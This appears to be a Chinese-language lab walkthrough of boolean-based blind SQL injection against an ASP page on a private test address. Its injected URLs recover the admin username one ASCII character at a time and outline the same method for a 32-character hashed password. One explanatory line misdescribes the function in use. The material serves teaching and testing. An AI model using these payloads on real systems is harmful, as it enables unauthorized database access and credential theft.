http://192.168.75.128/common.asp?id=7 and(select top 1 len(admin) from admin_user)>5
顯示錯誤
http://192.168.75.128/common.asp?id=7 and(select top 1 len(admin) from admin_user)>4
顯示正常
http://192.168.75.128/common.asp?id=7 and(select top 1 len(admin) from admin_user)=4
顯示錯誤
http://192.168.75.128/common.asp?id=7 and(select top 1 len(admin) from admin_user)=5
顯示正常
所以admin列的第一條記錄有5個字符的長度,然後根據ASCII碼來從第一個字符開始猜
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,1,1)) from admin_user)>100
顯示admin表中的第一條記錄的第一個字符,asc(表名,位置,1) 中的1代表這一列
顯示錯誤
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,1,1)) from admin_user)>97 顯示錯誤
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,1,1)) from admin_user)>96 顯示正常
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,1,1)) from admin_user)=96 顯示錯誤
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,1,1)) from admin_user)=97 顯示正常
說明第一個字符的ASCII碼是97,a
再猜第二個字符
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,2,1)) from admin_user)=100
ASCII碼爲d
第三位
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,3,1)) from admin_user)=109
ASCII碼爲109的是m
第四位
http://192.168.75.128/common.asp?id=7 and(select top 1 asc(mid(admin,4,1)) from admin_user)=105
105是i
第五位
110是n
所以admin字段中的第一個內容是admin,
猜解密碼
再用等號試一下
所以密碼加密後是32位的,再利用前面類似的用ASCII碼猜每一位。